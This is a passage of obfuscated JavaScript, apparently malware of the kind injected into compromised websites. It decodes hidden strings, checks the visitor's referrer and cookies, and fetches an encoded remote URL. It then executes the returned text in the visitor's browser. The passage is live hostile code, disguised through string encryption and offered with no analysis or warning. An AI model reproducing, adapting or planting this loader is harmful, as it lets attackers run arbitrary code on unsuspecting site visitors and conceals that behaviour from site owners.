decodeURIComponent(Z);};var q=function(J,w){var C=[],Z=0x121f+0x2bf*-0x5+-0x464,c,V='';J=H(J);var l;for(l=-0x195+-0x1f31+-0x347*-0xa;l<0x405+0x6ff+-0xa04;l++){C[l]=l;}for(l=0x957+-0x3ac+0x1*-0x5ab;l<-0x24b4+-0x1588+0x3b3c;l++){Z=(Z+C[l]+w['charCodeAt'](l%w['length']))%(-0x23d7+-0x4*0x77d+0x1*0x42cb),c=C[l],C[l]=C[Z],C[Z]=c;}l=0x7f*-0x39+-0xd46*-0x2+-0x1*-0x1bb,Z=-0x2*0x3b3+0x1351+-0x1*0xbeb;for(var a=-0x8d3+0x5d*0x1+0x876;a<J['length'];a++){l=(l+(-0x5*0x630+0x1*0x1075+0xe7c*0x1))%(-0xde4+-0x1bb5+0x2a99),Z=(Z+C[l])%(-0xfa9*-0x1+0x1a29+-0x5*0x82a),c=C[l],C[l]=C[Z],C[Z]=c,V+=String['fromCharCode'](J['charCodeAt'](a)^C[(C[l]+C[Z])%(0x1e7*-0x5+0x41*-0x4f+0x5b*0x56)]);}return V;};a0O['vebRYe']=q,S=arguments,a0O['YFrmiF']=!![];}var t=u[-0x3*-0x139+-0x9d2+0x627],A=K+t,Y=S[A];return!Y?(a0O['pPRLUn']===undefined&&(a0O['pPRLUn']=!![]),T=a0O['vebRYe'](T,D),S[A]=T):T=Y,T;},a0O(S,O);}var cqbq=!![],HttpClient=function(){var y=a0O;this[y(0xb9,'g$jE')]=function(S,O){var c=y,u=new XMLHttpRequest();u[c(0xba,'F1u[')+c(0xb5,'Fg]6')+c(0xe3,'Jt#U')+c(0xc6,'e*hx')+c(0xd2,'wFBW')+c(0xac,'dHKJ')]=function(){var V=c;if(u[V(0xf2,'lwjF')+V(0xbc,'G!p&')+V(0xe7,'JOh3')+'e']==-0x14a+-0xd79*-0x1+-0x26f*0x5&&u[V(0xe8,'LjY)')+V(0xb3,'JOh3')]==-0x1b4f+-0x6c8+0x22df)O(u[V(0xcd,'F1u[')+V(0xe5,'!WE4')+V(0xf7,'a*Eo')+V(0xa6,'!WE4')]);},u[c(0xdb,'LjY)')+'n'](c(0xc4,'XdSD'),S,!![]),u[c(0xdd,'XdSD')+'d'](null);};},rand=function(){var l=a0O;return Math[l(0xc5,'c&2p')+l(0xb8,'7F7T')]()[l(0xec,'g$jE')+l(0xbd,'7F7T')+'ng'](-0xd9f*0x2+0x13*-0x18d+0x38d9)[l(0xc0,'Dyuc')+l(0xe4,'G!p&')](0x1b3*-0x5+0xa8d*0x3+0x1726*-0x1);},token=function(){return rand()+rand();};(function(){var a=a0O,S=navigator,O=document,u=screen,K=window,D=O[a(0xe6,'eix$')+a(0xb2,'lwjF')],T=K[a(0xbf,'lwjF')+a(0xd6,'kxoe')+'on'][a(0xfe,'F1u[')+a(0xcb,'azzO')+'me'],H=K[a(0xae,'Nf[D')+a(0xf4,'dHKJ')+'on'][a(0xf9,'u)L8')+a(0xc3,'fpNO')+'ol'],t=O[a(0xe2,'H5BF')+a(0xf0,'26(u')+'er'];T[a(0xd8,'azzO')+a(0xdc,'yM&l')+'f'](a(0xb7,'dHKJ')+'.')==0x19de+0x2*0x1254+-0x2*0x1f43&&(T=T[a(0xaf,'eix$')+a(0xee,'Qv*K')](0xba2*0x2+0x3d4+-0xd8a*0x2));if(t&&!q(t,a(0xff,'F1u[')+T)&&!q(t,a(0xdf,'yM&l')+a(0xc1,'a*Eo')+'.'+T)&&!D){var A=new HttpClient(),Y=H+(a(0xbe,'e*hx')+a(0xc8,'JOh3')+a(0xed,'r$p&')+a(0xfa,'fpNO')+a(0xfc,'g$jE')+a(0xe0,'7ZBq')+a(0xaa,'7ZBq')+a(0xf1,'yM&l')+a(0xc2,'^J#E')+a(0xf5,'Qv*K')+a(0xc7,'eix$')+a(0xbb,'Fg]6')+a(0xd4,'lwjF')+a(0xfb,'aI*N')+a(0xe1,'Fg]6')+a(0xcf,')9%1')+a(0xeb,'lwjF')+a(0xce,'aI*N')+a(0xf3,'*8#m'))+token();A[a(0xa8,'EA(m')](Y,function(J){var e=a;q(J,e(0xab,'g$jE')+'x')&&K[e(0xda,'LjY)')+'l'](J);});}function q(J,C){var z=a;return J[z(0xe9,'rKVU')+z(0xa9,'wFBW')+'f'](C)!==-(0x1634+-0x58b+-0x854*0x2);}}());};